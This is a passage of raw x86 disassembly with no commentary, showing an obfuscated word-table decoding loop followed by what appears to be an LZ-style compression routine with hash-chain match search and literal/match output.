xor ax, 0x358c
mov word [0x473532], ax
mov ax, word [0x473334]
mov cx, ax
and cx, 0xc5ef
shl cx, 1
mov dx, ax
and dx, 0xc5ef
or ax, 0xc5ef
add dx, ax
sub dx, cx
mov word [0x473534], dx
mov si, word [0x473336]
mov dx, si
xor dx, 0xffff
or dx, dx
xor dx, 0xffff
or dx, 0x451
xor dx, 0xffff
and si, 0x451
mov ax, dx
and ax, si
xor dx, si
or ax, dx
mov dx, ax
and dx, dx
xor dx, 0xffff
xor dx, 0xffff
or dx, 0x2d03
xor ax, 0xffff
or ax, 0xd2fc
xor dx, 0xffff
xor ax, 0xffff
or dx, ax
mov word [0x473536], dx
mov ax, word [0x473338]
mov cx, ax
xor cx, 0x5fc0
xor cx, 0xffff
and cx, 0x5fc0
shl cx, 1
sub cx, 0x5fc0
mov dx, ax
sub dx, cx
mov cx, dx
and cx, 0xffff
shl cx, 1
add dx, 0xffff
sub dx, cx
xor dx, 0xffff
or dx, 0xa03f
xor dx, 0xffff
and dx, 0xffff
mov cx, dx
and cx, 0xfffd
mov si, dx
xor si, 0xffff
and si, 2
imul si, cx
mov cx, dx
and cx, 2
or dx, 2
imul dx, cx
add dx, si
sub dx, 0x5fc0
xor ecx, ecx
sub cx, dx
add ax, cx
mov word [0x473538], ax
mov dx, word [0x47333a]
mov ax, dx
xor ax, 0xffff
and ax, 0xbd0b
mov cx, dx
xor cx, 0x42f4
xor cx, 0xffff
or dx, 0x42f4
and dx, cx
or ax, dx
mov cx, ax
xor cx, 0xffff
and cx, 0xa51b
and ax, 0x5ae4
or cx, ax
xor cx, 0xd4dc
mov word [0x47353a], cx
mov ax, word [0x47333c]
xor ax, 0x39f5
mov word [0x47353c], ax
mov ax, word [0x47333e]
mov dx, ax
and dx, dx
or dx, dx
xor dx, 0xffff
xor dx, 0xffff
and dx, 0xffff
xor dx, 0xffff
and dx, 0xffff
mov cx, dx
and cx, 0xffff
shl cx, 1
add dx, 0xffff
sub dx, cx
mov si, dx
and si, 0xf6ae
xor dx, 0xf6ae
or si, dx
mov cx, ax
xor cx, 0xf6ae
xor cx, 0xffff
or ax, 0xf6ae
and ax, cx
xor ax, 0xffff
and ax, 0xffff
or ax, 0
and si, ax
xor si, 0xffff
mov word [0x47353e], si
mov ax, word [0x473340]
xor ax, 0xa8e8
mov word [0x473540], ax
mov ax, word [0x473342]
xor ax, 0x9cd0
mov word [0x473542], ax
mov ax, word [0x473344]
xor ax, 0x5177
mov word [0x473544], ax
mov dx, word [0x473346]
mov ax, dx
xor ax, 0xffff
mov cx, dx
xor cx, 0xffff
or ax, cx
and ax, 0x3504
xor ax, 0xffff
xor dx, 0xffff
or dx, 0x3504
and ax, dx
xor ax, 0xffff
mov word [0x473546], ax
mov ax, word [0x473348]
xor ax, 0x5f08
mov word [0x473548], ax
mov ax, word [0x47334a]
mov dx, ax
xor dx, 0xffff
and dx, 0x9900
mov cx, ax
and cx, 0x66ff
or dx, cx
xor dx, 0xffff
and dx, 0x9900
shl dx, 1
mov cx, dx
xor cx, 0x9900
and dx, 0x66ff
shl dx, 1
sub dx, cx
sub ax, dx
mov word [0x47354a], ax
mov ax, word [0x47334c]
xor ax, 0x2a24
mov word [0x47354c], ax
mov ax, word [0x47334e]
mov dx, ax
or dx, dx
xor dx, 0xffff
xor dx, 0xffff
and dx, 0xd730
xor ax, 0xffff
and ax, 0x28cf
xor dx, 0xffff
xor ax, 0xffff
and dx, ax
mov word [0x47354e], dx
mov ax, word [0x473350]
mov si, ax
xor si, 0x13fb
xor si, 0xffff
mov dx, si
xor dx, 0xffff
or dx, 0xec04
and si, 0x13fb
xor si, 0xffff
xor dx, 0xffff
xor si, 0xffff
or dx, si
shl dx, 1
sub dx, 0x13fb
sub ax, dx
mov word [0x473550], ax
mov dx, word [0x473352]
mov ax, dx
xor ax, 0xffff
mov cx, dx
xor cx, 0xffff
and ax, cx
xor ax, 0xffff
and ax, 0xffff
or ax, 0
xor ax, 0xffff
and ax, 0x9e2a
or dx, dx
xor dx, 0xffff
xor dx, 0xffff
and dx, 0x61d5
mov si, ax
xor si, 0xffff
mov cx, dx
xor cx, 0xffff
and si, cx
or ax, dx
xor ax, 0xffff
or si, ax
xor si, 0xffff
xor si, 0xd7a8
mov word [0x473552], si
mov ax, word [0x473354]
mov dx, ax
xor dx, 0xffff
mov cx, ax
xor cx, 0xffff
or dx, cx
and dx, 0x490b
xor dx, 0xffff
xor ax, 0xffff
or ax, 0x490b
xor dx, 0xffff
xor ax, 0xffff
or dx, ax
mov word [0x473554], dx
mov ax, word [0x473356]
mov si, ax
and si, si
and si, si
xor si, 0xffff
xor si, 0xffff
or si, 0
xor si, 0xffff
or si, 0
and si, 0x4da2
mov dx, si
xor dx, 0xffff
and dx, 0x4004
and si, 0xbffb
or dx, si
xor dx, 0xbffb
and ax, 0xb25d
mov si, ax
xor si, 0xffff
and si, 0xd691
and ax, 0x296e
or si, ax
xor si, 0x296e
xor dx, 0xffff
xor si, 0xffff
and si, 0xffff
or si, 0
or dx, si
mov word [0x473556], dx
mov ax, word [0x473358]
xor ax, 0x2600
mov word [str._vkVeyJ], ax
mov ax, word [0x47335a]
mov cx, ax
and cx, 0xd24a
shl cx, 1
add ax, 0xd24a
sub ax, cx
mov word [0x47355a], ax
mov ax, word [0x47335c]
xor ax, 0xbb46
mov word [0x47355c], ax
mov si, word [0x47335e]
mov ax, si
and ax, ax
xor ax, 0xffff
xor ax, 0xffff
or ax, 0
xor ax, 0xffff
or ax, 0
and ax, 0x2889
mov dx, si
and dx, 0xd776
xor dx, 0xffff
xor si, 0xffff
or si, 0x2889
and dx, si
xor dx, 0xffff
mov si, ax
xor si, 0xffff
mov bx, dx
xor bx, 0xffff
mov di, si
and di, 0x883a
and ax, 0x77c5
mov cx, bx
and cx, 0x883a
and dx, 0x77c5
or di, ax
or cx, dx
xor di, cx
or si, bx
xor si, 0xffff
and si, 0xffff
or di, si
mov word [0x47355e], di
mov ax, word [0x473360]
mov si, ax
xor si, 0xffff
and si, 0x28e2
mov cx, ax
and cx, 0xd71d
or si, cx
mov dx, si
xor dx, 0xffff
xor si, 0xffff
or dx, si
xor dx, 0xffff
or dx, 0
xor dx, 0xffff
or dx, 0
and dx, 0x28e2
mov cx, dx
and cx, 0xfffd
mov si, dx
xor si, 0xffff
and si, 2
imul si, cx
mov cx, dx
and cx, 2
or dx, 2
imul dx, cx
add dx, si
sub dx, 0x28e2
xor ecx, ecx
sub cx, dx
add ax, cx
mov word [0x473560], ax
mov ax, word [0x473362]
xor ax, 0xaefb
mov word [0x473562], ax
mov dx, word [0x473364]
mov ax, dx
xor ax, 0xffff
mov cx, dx
xor cx, 0xffff
and ax, cx
xor ax, 0xffff
and ax, 0xd58f
or dx, 0xd58f
xor dx, 0xffff
or ax, dx
xor ax, 0xffff
mov word [0x473564], ax
mov ax, word [0x473366]
xor ax, 0x2906
mov word [0x473566], ax
mov dx, word [0x473368]
mov ax, dx
and ax, 0x60b9
mov si, ax
xor si, 0xffff
mov cx, si
and cx, 2
or si, 2
xor si, 0xffff
imul si, cx
mov cx, ax
and cx, 2
or ax, 2
imul ax, cx
add ax, si
mov cx, dx
and cx, 0x60b9
or dx, 0x60b9
add cx, dx
sub cx, ax
mov word [0x473568], cx
mov ax, word [0x47336a]
mov cx, ax
xor cx, 0x6a5a
and cx, ax
shl cx, 1
add ax, 0x95a5
sub ax, cx
mov word [0x47356a], ax
mov ax, word [0x47336c]
mov cx, ax
and cx, 0x7a1f
shl cx, 1
add ax, 0x7a1f
sub ax, cx
mov word [0x47356c], ax
mov dx, word [0x47336e]
mov ax, dx
xor ax, 0xffff
mov cx, dx
xor cx, 0xffff
and ax, cx
xor ax, 0xffff
mov cx, ax
add cx, 1
xor ax, 0xffff
or ax, 0x3b2e
add ax, cx
mov si, dx
or si, 0x3b2e
xor si, 0xffff
or dx, 0x3b2e
xor dx, 0xffff
or si, dx
xor si, 0xffff
xor si, 0xffff
or ax, si
mov cx, ax
and cx, 0xffff
shl cx, 1
add ax, 0xffff
sub ax, cx
mov word [0x47356e], ax
mov dword [0x4765a4], 1
push eax
mov dword [ebp - 0x54], esp
push eax
mov edx, esp
push eax
mov edi, esp
push eax
mov ecx, esp
push eax
mov esi, esp
push eax
mov dword [ebp - 0x3c], esp
push eax
mov ebx, esp
push eax
mov dword [ebp - 0x14], esp
push eax
mov dword [ebp - 0x10], esp
push eax
mov dword [ebp - 0x48], esp
push eax
mov dword [ebp - 0x88], esp
push eax
mov dword [ebp - 0x24], esp
push eax
mov dword [ebp - 0x44], esp
push eax
mov dword [ebp - 0x40], esp
push eax
mov dword [ebp - 0x28], esp
push eax
mov dword [ebp - 0x50], esp
push eax
mov dword [ebp - 0x30], esp
push eax
mov dword [ebp - 0x60], esp
push eax
mov dword [ebp - 0x4c], esp
push eax
mov dword [ebp - 0x84], esp
push eax
mov dword [ebp - 0x5c], esp
push eax
mov dword [ebp - 0x2c], esp
push eax
mov dword [ebp - 0x38], esp
push eax
mov dword [ebp - 0x58], esp
push eax
mov dword [ebp - 0x80], esp
push eax
mov dword [ebp - 0x7c], esp
push eax
mov dword [ebp - 0x78], esp
push eax
mov dword [ebp - 0x68], esp
push eax
mov dword [ebp - 0x64], esp
mov eax, dword [ebp - 0x8c]
mov dword [edx], eax
mov eax, dword [edx]
mov eax, dword [eax + 0x1c]
mov dword [edi], eax
mov eax, dword [edx]
mov eax, dword [eax + 0x20]
mov dword [ebp - 0x1c], ecx
mov dword [ecx], eax
mov eax, dword [edx]
mov eax, dword [eax + 0x24]
mov dword [ebp - 0x18], esi
mov dword [esi], eax
mov esi, dword [ebp - 0x3c]
mov eax, dword [edx]
mov eax, dword [eax + 0x3c]
mov dword [esi], eax
mov eax, dword [edx]
mov eax, dword [eax + 0x38]
mov dword [ebp - 0x20], ebx
mov dword [ebx], eax
mov ebx, edx
mov eax, dword [ebx]
mov eax, dword [eax + 0x28]
mov ecx, dword [ebp - 0x14]
mov dword [ecx], eax
mov eax, dword [ebx]
mov eax, dword [eax + 0x2c]
mov edx, dword [ebp - 0x10]
mov dword [edx], eax
mov dword [ebp - 0x34], edi
mov eax, dword [edi]
and eax, 0x7fff
mov ecx, dword [ebp - 0x48]
mov dword [ecx], eax
mov edi, dword [ebp - 0x24]
mov ecx, dword [ebx]
mov al, 1
cmp dword [ecx + 0x88], 0
jne 0x419227
mov ecx, dword [ebx]
xor eax, eax
cmp dword [ecx + 0x80], 0
je 0x419223
mov eax, dword [ebp - 0x1c]
cmp dword [eax], 0
setne al
jmp 0x419225
jmp 0x419227
test al, 1
jne 0x419230
jmp 0x419d68
mov eax, dword [ebp - 0x88]
mov dword [eax], 0x1000
mov eax, dword [ebp - 0x34]
mov eax, dword [eax]
mov ecx, edi
mov edi, dword [ebp - 0x1c]
add eax, dword [edi]
and eax, 0x7fff
mov dword [ecx], eax
mov eax, dword [ebx]
mov eax, dword [eax + 0x88]
mov esi, dword [edi]
mov ecx, esi
and ecx, 0xffffefff
xor esi, 0xffffffff
and esi, 0xffffffff
or esi, 0
mov edx, esi
xor edx, 0xffffffff
xor esi, 0xffffffff
and edx, esi
or edx, 0xffffefff
xor edx, 0xffffffff
sub edx, 0xe5c0d8a2
sub edx, ecx
add edx, 0xe5c0d8a2
cmp eax, edx
jae 0x41929f
mov eax, dword [ebx]
mov eax, dword [eax + 0x88]
mov ecx, dword [ebp - 0x44]
jmp 0x4192a9
mov eax, 0x1000
sub eax, dword [edi]
mov ecx, dword [ebp - 0x44]
mov dword [ecx], eax
mov eax, dword [ecx]
mov ecx, dword [ebx]
mov edx, dword [ecx + 0x88]
mov esi, edx
xor esi, 0xffffffff
and esi, eax
xor eax, 0xffffffff
and edx, eax
sub edx, esi
mov dword [ecx + 0x88], edx
mov eax, dword [ebp - 0x44]
mov eax, dword [eax]
mov ecx, dword [edi]
xor eax, 0xffffffff
sub eax, 0xffffffff
xor edx, edx
sub edx, eax
add ecx, edx
mov dword [edi], ecx
mov ecx, dword [ebp - 0x44]
mov edi, dword [ebp - 0x24]
mov dword [ebp - 0x6c], ebx
mov esi, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x10]
jmp 0x4192ef
cmp dword [ecx], 0
setne al
test al, 1
jne 0x4192fe
jmp 0x4194a2
mov eax, 0x8000
sub eax, dword [edi]
cmp eax, dword [ecx]
jae 0x419312
mov eax, 0x8000
sub eax, dword [edi]
jmp 0x419314
mov eax, dword [ecx]
mov edx, dword [ebp - 0x40]
mov dword [edx], eax
mov eax, dword [ebx]
add eax, 0x90
add eax, dword [edi]
mov ecx, dword [ebx]
mov ecx, dword [ecx + 0x84]
mov edx, dword [edx]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], edx
call fcn.00450100
add esp, 0xc
cmp dword [edi], 0x101
jae 0x4193e9
jmp 0x419350
mov eax, dword [ebx]
add eax, 0x90
add eax, 0x8000
add eax, dword [edi]
mov esi, edi
mov edi, ebx
mov ecx, dword [ebx]
mov ecx, dword [ecx + 0x84]
mov dword [ebp - 0x74], ecx
mov ecx, dword [ebp - 0x40]
mov edx, dword [ecx]
mov ebx, dword [esi]
mov esi, ebx
xor esi, 0x101
xor ebx, 0xffffffff
and ebx, 0x101
shl ebx, 1
mov ecx, ebx
xor ecx, 0xffffffff
and ecx, esi
xor esi, 0xffffffff
and ebx, esi
sub ebx, ecx
cmp edx, ebx
setb dl
test dl, 1
jne 0x4193a2
jmp 0x4193ae
mov ecx, dword [ebp - 0x40]
mov edx, dword [ecx]
mov ebx, edi
mov edi, dword [ebp - 0x24]
jmp 0x4193d0
mov esi, dword [ebp - 0x24]
mov ecx, dword [esi]
mov edx, 0x598804db
sub edx, ecx
add edx, 0x91b85933
sub edx, 0x598803da
sub edx, 0x91b85933
mov ebx, edi
mov edi, esi
sub esp, 0xc
mov dword [esp], eax
mov eax, dword [ebp - 0x74]
mov dword [esp + 4], eax
mov dword [esp + 8], edx
call fcn.00450100
add esp, 0xc
mov edx, dword [ebp - 0x40]
mov eax, dword [edx]
mov ecx, dword [ebx]
add eax, dword [ecx + 0x84]
mov dword [ecx + 0x84], eax
mov eax, dword [edi]
mov ecx, dword [edx]
xor ecx, 0xffffffff
sub ecx, 0xffffffff
sub eax, ecx
mov edx, eax
add edx, 1
mov ecx, eax
xor ecx, 0xffffffff
or ecx, 0x7fff
add ecx, edx
xor ecx, 0xffffffff
and ecx, 0xffffffff
or ecx, 0
xor eax, 0xffffffff
or eax, 0xffff8000
xor ecx, 0xffffffff
xor eax, 0xffffffff
mov edx, ecx
xor edx, 0xffffffff
mov edi, eax
xor edi, 0xffffffff
mov ebx, edx
and ebx, 0x6e7e8253
and ecx, 0x91817dac
mov esi, edi
and esi, 0x6e7e8253
and eax, 0x91817dac
or ebx, ecx
or esi, eax
xor ebx, esi
mov eax, dword [ebp - 0x24]
or edx, edi
mov edi, eax
xor edx, 0xffffffff
and edx, 0xffffffff
or ebx, edx
mov dword [edi], ebx
mov ebx, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x40]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x44]
mov eax, dword [edx]
xor ecx, 0xffffffff
add eax, 0xd6c722df
add eax, ecx
sub eax, 0xd6c722df
mov ecx, eax
and ecx, 1
shl ecx, 1
xor eax, 1
add eax, ecx
mov ecx, edx
mov dword [ecx], eax
jmp 0x4192e7
jmp 0x4194a4
mov eax, 0x8000
mov ecx, dword [ebp - 0x1c]
sub eax, dword [ecx]
mov ecx, dword [ebp - 0x18]
cmp eax, dword [ecx]
setb al
test al, 1
jne 0x4194bc
jmp 0x4194d1
jmp 0x4194be
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax]
xor eax, eax
sub eax, ecx
add eax, 0x8000
mov ecx, dword [ebp - 0x18]
jmp 0x4194d6
mov ecx, dword [ebp - 0x18]
mov eax, dword [ecx]
mov dword [ecx], eax
mov eax, dword [ebx]
cmp dword [eax + 0x80], 0
jne 0x4194fc
mov eax, dword [ebp - 0x1c]
cmp dword [eax], 0x1000
jae 0x4194fc
mov eax, dword [ebp - 0x28]
mov dword [eax], 3
jmp 0x419d50
mov eax, dword [ebp - 0x28]
jmp 0x419501
mov ecx, dword [ebp - 0x1c]
cmp dword [ecx], 4
jb 0x419b29
mov eax, dword [ebp - 0x30]
mov dword [eax], 1
mov eax, dword [ebx]
add eax, 0x90
mov ecx, dword [ebp - 0x48]
add eax, dword [ecx]
mov ecx, dword [ebp - 0x60]
mov dword [ecx], eax
mov ecx, dword [ecx]
call fcn.00431ce0
xor eax, 0xffffffff
or eax, 0xff000000
xor eax, 0xffffffff
and eax, 0xffffffff
mov ecx, dword [ebp - 0x4c]
mov dword [ecx], eax
mov eax, dword [ecx]
mov ecx, dword [ecx]
shr ecx, 0x11
xor eax, ecx
mov ecx, eax
xor ecx, 0xfffff000
and ecx, eax
mov edx, dword [ebp - 0x84]
mov dword [edx], ecx
mov eax, dword [ebx]
mov ecx, dword [edx]
movzx eax, word [eax + ecx*2 + 0x29272]
mov edi, dword [ebp - 0x5c]
mov dword [edi], eax
mov esi, dword [ebp - 0x34]
mov eax, dword [esi]
mov ecx, dword [ebx]
mov edx, dword [edx]
mov word [ecx + edx*2 + 0x29272], ax
mov eax, dword [esi]
mov edx, dword [ebp - 0x14]
mov ecx, dword [edi]
add eax, 0x7f57da9f
sub eax, ecx
sub eax, 0x7f57da9f
movzx eax, ax
mov ecx, dword [ebp - 0x50]
mov dword [ecx], eax
mov ecx, dword [ebp - 0x18]
cmp eax, dword [ecx]
ja 0x419922
mov edi, edx
jmp 0x4195a8
mov ecx, dword [ebx]
add ecx, 0x90
mov esi, dword [ebp - 0x5c]
mov eax, dword [esi]
mov edx, eax
add edx, 1
xor eax, 0xffffffff
or eax, 0x7fff
add eax, 0x3084844f
add eax, edx
sub eax, 0x3084844f
mov dword [esi], eax
add ecx, eax
call fcn.00431ce0
and eax, 0xffffff
mov ecx, dword [ebp - 0x4c]
cmp eax, dword [ecx]
sete al
test al, 1
mov edx, edi
jne 0x4195ef
jmp 0x419922
mov eax, dword [ebp - 0x60]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x2c]
mov dword [ecx], eax
mov eax, dword [ebx]
add eax, 0x90
mov ecx, dword [ebp - 0x5c]
add eax, dword [ecx]
mov ecx, dword [ebp - 0x38]
mov dword [ecx], eax
mov eax, dword [ebp - 0x58]
mov dword [eax], 0x20
jmp 0x419615
jmp 0x419617
mov eax, dword [ebp - 0x2c]
mov ecx, dword [eax]
add ecx, 2
mov dword [eax], ecx
call fcn.00431d00
movzx esi, ax
mov eax, dword [ebp - 0x38]
mov ecx, dword [eax]
add ecx, 2
mov dword [eax], ecx
call fcn.00431d00
movzx eax, ax
cmp esi, eax
sete cl
xor eax, eax
test cl, 1
jne 0x41964c
jmp 0x4196ee
jmp 0x41964e
mov eax, dword [ebp - 0x2c]
mov ecx, dword [eax]
add ecx, 2
mov dword [eax], ecx
call fcn.00431d00
movzx esi, ax
mov eax, dword [ebp - 0x38]
mov ecx, dword [eax]
add ecx, 2
mov dword [eax], ecx
call fcn.00431d00
movzx eax, ax
cmp esi, eax
sete cl
xor eax, eax
test cl, 1
jne 0x419680
jmp 0x4196ee
mov eax, dword [ebp - 0x2c]
mov ecx, dword [eax]
add ecx, 2
mov dword [eax], ecx
call fcn.00431d00
movzx esi, ax
mov eax, dword [ebp - 0x38]
mov ecx, dword [eax]
add ecx, 2
mov dword [eax], ecx
call fcn.00431d00
movzx ecx, ax
xor eax, eax
cmp esi, ecx
jne 0x4196ee
jmp 0x4196ac
mov eax, dword [ebp - 0x2c]
mov ecx, dword [eax]
add ecx, 2
mov dword [eax], ecx
call fcn.00431d00
movzx esi, ax
mov eax, dword [ebp - 0x38]
mov ecx, dword [eax]
add ecx, 2
mov dword [eax], ecx
call fcn.00431d00
movzx eax, ax
cmp esi, eax
sete cl
xor eax, eax
test cl, 1
jne 0x4196de
jmp 0x4196ee
mov ecx, dword [ebp - 0x58]
mov eax, dword [ecx]
add eax, 0xffffffff
mov dword [ecx], eax
cmp eax, 0
seta al
test al, 1
jne 0x419613
jmp 0x4196f8
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x60]
mov ecx, dword [ecx]
sub eax, ecx
sar eax, 1
mov edx, eax
xor edx, 0xffffffff
xor edx, 0xffffffff
xor edx, 2
and edx, 2
mov ecx, eax
and ecx, 0xfffffffd
mov esi, ecx
xor esi, 0xffffffff
mov edi, edx
and edi, esi
mov esi, edx
xor esi, 0xffffffff
mov ebx, ecx
and ebx, esi
imul ebx, edi
mov esi, ecx
and esi, edx
or ecx, edx
imul ecx, esi
add ecx, ebx
mov edx, eax
and edx, 2
mov esi, eax
and esi, 2
xor esi, 0xffffffff
add eax, 2
add eax, 1
add eax, esi
imul eax, edx
add eax, ecx
mov ecx, dword [ebp - 0x2c]
mov ecx, dword [ecx]
movzx ecx, byte [ecx]
mov edx, dword [ebp - 0x38]
mov edx, dword [edx]
movzx edx, byte [edx]
cmp ecx, edx
sete cl
and cl, 1
movzx ecx, cl
add eax, ecx
mov edx, dword [ebp - 0x30]
mov dword [edx], eax
mov eax, dword [ebp - 0x58]
cmp dword [eax], 0
setne al
test al, 1
mov ebx, dword [ebp - 0x6c]
mov esi, dword [ebp - 0x3c]
jne 0x4197a2
jmp 0x41978b
jmp 0x41978d
mov eax, dword [ebp - 0x50]
mov ecx, dword [eax]
mov eax, 0x102
cmp ecx, 0
jne 0x41979e
xor eax, eax
mov dword [edx], eax
jmp 0x4197a2
jmp 0x4197a4
cmp dword [edx], 3
setb al
test al, 1
jne 0x4197c9
jmp 0x4197b0
jmp 0x4197b2
cmp dword [edx], 3
sete al
test al, 1
jne 0x4197be
jmp 0x419827
mov eax, dword [ebp - 0x50]
cmp dword [eax], 0x2000
jb 0x419827
mov dword [edx], 1
mov edi, dword [ebp - 0x4c]
mov eax, dword [edi]
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov edx, ecx
add edx, 1
mov dword [eax], edx
mov eax, dword [ebp - 0x70]
mov byte [ecx], al
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx]
movzx eax, byte [eax]
shr eax, 1
mov ecx, dword [ecx]
mov byte [ecx], al
mov eax, dword [ebx]
mov ecx, dword [edi]
mov edi, dword [ebp - 0x20]
movzx ecx, cl
mov dx, word [eax + ecx*2 + 0x8192]
sub dx, 0x14c7
add dx, 1
add dx, 0x14c7
mov word [eax + ecx*2 + 0x8192], dx
mov edx, dword [ebp - 0x10]
jmp 0x419920
mov eax, dword [edx]
mov ecx, dword [ebp - 0x1c]
cmp eax, dword [ecx]
setb al
test al, 1
jne 0x419837
jmp 0x41983b
mov eax, dword [edx]
jmp 0x419840
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov dword [edx], eax
mov ecx, edx
mov edx, dword [ebp - 0x50]
mov eax, dword [edx]
add eax, 0x94fb2089
and eax, 0xffffffff
add eax, 0xffffffff
sub eax, 0x94fb2089
mov dword [edx], eax
mov eax, dword [ecx]
sub eax, 3
mov edi, dword [ebp - 0x14]
mov ecx, dword [edi]
mov byte [ecx], al
mov eax, dword [edi]
mov ecx, dword [edx]
mov dword [eax + 1], ecx
mov eax, dword [edi]
add eax, 3
mov dword [edi], eax
mov edi, dword [ebp - 0x10]
mov eax, dword [edi]
movzx eax, byte [eax]
shr eax, 1
add eax, 0x80
mov ecx, eax
and ecx, 1
shl ecx, 1
xor eax, 1
add eax, ecx
add eax, 0xffffffff
mov ecx, dword [edi]
mov byte [ecx], al
mov eax, dword [edx]
mov ecx, eax
xor ecx, 0x1ff
xor ecx, 0xffffffff
or eax, 0x1ff
and eax, ecx
movzx eax, byte [eax + 0x473770]
mov ecx, dword [ebp - 0x80]
mov dword [ecx], eax
mov eax, dword [edx]
shr eax, 8
movzx eax, byte [eax + 0x4730f0]
mov edi, dword [ebp - 0x7c]
mov dword [edi], eax
mov eax, dword [ebx]
add eax, 0x8192
add eax, 0x240
cmp dword [edx], 0x200
jae 0x4198e7
mov ecx, dword [ecx]
mov edi, dword [ebp - 0x20]
jmp 0x4198ec
mov ecx, dword [edi]
mov edi, dword [ebp - 0x20]
mov dx, word [eax + ecx*2]
sub dx, 0xffff
mov word [eax + ecx*2], dx
mov eax, dword [ebx]
mov ecx, dword [ebp - 0x30]
mov ecx, dword [ecx]
movzx ecx, word [ecx*2 + 0x47336a]
mov dx, word [eax + ecx*2 + 0x8192]
add dx, 1
mov word [eax + ecx*2 + 0x8192], dx
mov edx, dword [ebp - 0x10]
jmp 0x419920
jmp 0x41996b
jmp 0x419924
mov esi, dword [ebp - 0x4c]
mov eax, dword [esi]
mov ecx, dword [edx]
mov edi, edx
mov edx, ecx
add edx, 1
mov dword [edi], edx
mov byte [ecx], al
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx]
movzx eax, byte [eax]
shr eax, 1
mov ecx, dword [ecx]
mov byte [ecx], al
mov eax, dword [ebx]
mov ecx, dword [esi]
movzx ecx, cl
mov dx, word [eax + ecx*2 + 0x8192]
add dx, 1
mov word [eax + ecx*2 + 0x8192], dx
mov edx, dword [ebp - 0x10]
mov esi, dword [ebp - 0x3c]
mov edi, dword [ebp - 0x20]
jmp 0x41996b
mov eax, dword [edi]
and eax, 0xffffffff
add eax, 0xffffffff
mov dword [edi], eax
cmp eax, 0
jne 0x419991
mov dword [edi], 8
mov edi, dword [ebp - 0x14]
mov eax, dword [edi]
mov ecx, eax
add ecx, 1
mov dword [edi], ecx
mov esi, dword [ebp - 0x3c]
mov dword [edx], eax
mov edi, dword [ebp - 0x30]
mov eax, dword [edi]
mov ecx, dword [esi]
mov edx, ecx
and edx, eax
or ecx, eax
add edx, ecx
mov dword [esi], edx
mov eax, dword [edi]
mov edx, dword [ebp - 0x34]
mov ecx, dword [edx]
sub ecx, 0x75747d8
add ecx, eax
add ecx, 0x75747d8
mov dword [edx], ecx
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax]
mov edx, dword [edi]
xor eax, eax
sub eax, ecx
add eax, 0
xor ecx, ecx
sub ecx, edx
sub eax, 0x67c8b45
add eax, ecx
add eax, 0x67c8b45
xor ecx, ecx
sub ecx, eax
cmp ecx, 0x8000
jae 0x419a05
mov edi, dword [ebp - 0x24]
jmp 0x4199e8
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x30]
mov ecx, dword [ecx]
xor edx, edx
sub edx, eax
xor eax, eax
sub eax, ecx
add edx, eax
xor eax, eax
sub eax, edx
mov edx, dword [ebp - 0x30]
jmp 0x419a16
mov edi, dword [ebp - 0x24]
jmp 0x419a0a
mov edx, dword [ebp - 0x30]
jmp 0x419a0f
mov eax, 0x8000
jmp 0x419a16
mov ecx, dword [ebp - 0x18]
mov dword [ecx], eax
mov ecx, dword [ebp - 0x48]
mov eax, dword [ecx]
add eax, dword [edx]
and eax, 0x7fff
mov dword [ecx], eax
mov eax, dword [edx]
mov esi, dword [ebp - 0x1c]
mov ecx, dword [esi]
mov edx, ecx
xor edx, 0xffffffff
and edx, eax
xor eax, 0xffffffff
and ecx, eax
sub ecx, edx
mov dword [esi], ecx
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov ecx, dword [ebx]
add ecx, 0x9272
add ecx, 0xfff8
cmp eax, ecx
mov edx, dword [ebp - 0x10]
mov esi, dword [ebp - 0x3c]
jbe 0x419b12
mov eax, dword [ebp - 0x34]
mov eax, dword [eax]
mov ecx, dword [ebx]
mov dword [ecx + 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov ecx, dword [ebx]
mov dword [ecx + 0x20], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, dword [ebx]
mov dword [ecx + 0x24], eax
mov eax, dword [esi]
mov ecx, dword [ebx]
mov dword [ecx + 0x3c], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov ecx, dword [ebx]
mov dword [ecx + 0x28], eax
mov eax, dword [edx]
mov ecx, dword [ebx]
mov dword [ecx + 0x2c], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov ecx, dword [ebx]
mov dword [ecx + 0x38], eax
mov ecx, dword [ebx]
xor edx, edx
call fcn.00428be0
mov ecx, dword [ebp - 0x78]
mov dword [ecx], eax
cmp eax, 0
je 0x419ad5
mov ecx, dword [ecx]
xor eax, eax
cmp ecx, 0
jl 0x419ac2
mov eax, 1
mov ecx, dword [ebp - 0x54]
mov dword [ecx], eax
mov eax, dword [ebp - 0x28]
mov dword [eax], 1
mov edx, dword [ebp - 0x10]
jmp 0x419b07
jmp 0x419ad7
mov eax, dword [ebx]
mov eax, dword [eax + 0x3c]
mov dword [esi], eax
mov eax, dword [ebx]
mov eax, dword [eax + 0x28]
mov ecx, dword [ebp - 0x14]
mov dword [ecx], eax
mov eax, dword [ebx]
mov eax, dword [eax + 0x2c]
mov edx, dword [ebp - 0x10]
mov dword [edx], eax
mov eax, dword [ebx]
mov eax, dword [eax + 0x38]
mov ecx, dword [ebp - 0x20]
mov dword [ecx], eax
mov eax, dword [ebp - 0x28]
mov dword [eax], 0
jmp 0x419b07
cmp dword [eax], 0
jne 0x419b1b
jmp 0x419b0e
jmp 0x419b10
jmp 0x419b12
mov eax, dword [ebp - 0x28]
mov dword [eax], 0
cmp dword [eax], 0
jne 0x419d4e
jmp 0x419501
jmp 0x419b2b
mov ecx, dword [ebp - 0x1c]
cmp dword [ecx], 0
je 0x419d42
mov eax, dword [ebx]
mov ecx, dword [ebp - 0x48]
mov ecx, dword [ecx]
